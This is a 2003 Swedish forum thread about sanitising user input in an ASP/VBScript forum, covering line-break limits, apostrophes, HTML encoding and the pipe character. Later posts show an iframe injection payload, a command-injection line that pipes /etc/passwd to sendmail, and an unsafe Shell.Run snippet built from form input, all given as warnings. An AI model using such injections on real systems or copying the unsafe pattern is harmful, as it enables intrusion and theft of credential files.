M Macce Medlem sedan apr. 2001 425 inlägg Frågan 26 feb. 2003 10:00 #1 I mitt forum så vill jag hindra att en användare
håller ner [enter] och får massor av radbrytningar
och sabbar designen...
Om jag kör koden nedan så vill jag att den även ska
förkorta resultatet av operationen. hoppas ni förstår vad jag menar.
Jag skulle helst vilja ha en funktion som tillåter max två radbrytningar i en följd, nån som har idéer på hur man kan lösa detta.
replace(strMess,VbCrlf&VbCrlf&VbCrlf,VbCrlf&VbCrlf)
Är det RegExp som gäller ?
mvh
O OveRRidE Medlem sedan feb. 2001 12 078 inlägg Jag vet inte varför jag inte ser nödvändigheten i en sådan spärr. Enterslag är för mig en av de saker jag saknar på många ställen där man skriver i text i t.ex. formulär och liknande. Att begränsa detta känns mest som ett kontrollbegär. ;)
Sätt en rimlig gräns för hur många tecken fältet får innehålla istället.
M Macce Medlem sedan apr. 2001 425 inlägg ja, du kanske har rätt :)
Sätt en rimlig gräns för hur många tecken fältet får innehålla istället.
Har jag redan ;)
Engine^ Medlem sedan dec. 2000 3 887 inlägg RegExp är säkert det smidigaste sättet att lösa det på.
Annars får du mha InStr() och InStrRev() söka efter förekomster av VbCrLf&VbCrLf&VbCrLf , kolla antal och strula... usch... kör med RegExp. ;)
M Macce Medlem sedan apr. 2001 425 inlägg Har inte satt mig in i "RegExp" kanske dags för det,
men OveRRidE har kanske rätt om mitt kontrollbegär... :)
O OveRRidE Medlem sedan feb. 2001 12 078 inlägg Gör inte misstaget som alla andra gör bara, sitter och bygger in femhundrasjuttiotvå funktioner för smilies, enterslag, mellanslag, 'spamskydd' och diverse längdbegränsningar men totalt glömmer bort det viktigaste tecknet av dem alla; apostrofen. En sådan med fel databas och både du och din applikation är lika säkra som en vattendamm tillverkad av papier maché.
Talar av erfarenhet. :OO
M Macce Medlem sedan apr. 2001 425 inlägg Tack för omtanken, men apostrofen och pipe-tecknet är skyddat.:)
Jag tillåter faktiskt html, är det OK ?
Ingen säkerhetsrisk bara "Sabba"-risk...
O OveRRidE Medlem sedan feb. 2001 12 078 inlägg iframe-taggen är ju lite halvskoj i det läget.
<iframe src="http://www.nissesporr.com"></iframe>
M Macce Medlem sedan apr. 2001 425 inlägg hmm, då kör vi:
replace(strMess,"iframe","")
replace(strMess,"src","")
Fler förslag ?
O OveRRidE Medlem sedan feb. 2001 12 078 inlägg Svart eller vitt, brukar jag köra med. Alltså HTMLencode eller inte.
M Macce Medlem sedan apr. 2001 425 inlägg Oki, jag gör så här:
Först "HtmlEncode",längdbegränsning,tar bort pipe samt apostrof och sen sparar till databas.
vid presentation: replace(strMess,VbCrlf,"<br>") och smiley-kod
Det kanske är "lagom" kontrollbehov ;)
K Kermit Medlem sedan mars 2003 24 inlägg En stilla undran från en nybörjare...
Vad menas med "pipe" och "apostrof" ?
@nders Medlem sedan juni 2000 32 967 inlägg Välkommen hit! :)
Pipe-tecknet : |
Apostrof: '
Apostrof används för att omsluta strängar i SQL, men varför man ska se till att kasta bort tecknet | har jag aldrig förstått. Någon med större visdom än vänstertecknad är mer än välkommen att upplysa. :)
Mvh
N niko Medlem sedan juni 2002 2 599 inlägg Pipe-tecknet används i Unix/Linux/PHP/Perl (och DOS) för redirecta outputen från ett program in i ett annat.
Elaka människor har ibland lyckats maila iväg innehållet i lösenordsfiler genom att skriva (ungefär):
;cat /etc/passwd | sendmail ..
i webformulär. I Windows och ASP är det inte lika aktuellt eftersom det inte finns några system , och exec -kommandon.
I VBScript är det kanske ungefär lika smart som att skriva:
Set Shell = Server.CreateObject("WScript.Shell")
Shell.Run sMittKommando & request.form("whatever")
.. utan att kolla innehållet i request.form("whatever") .
Det har alltså inte så mycket med SQL att göra ..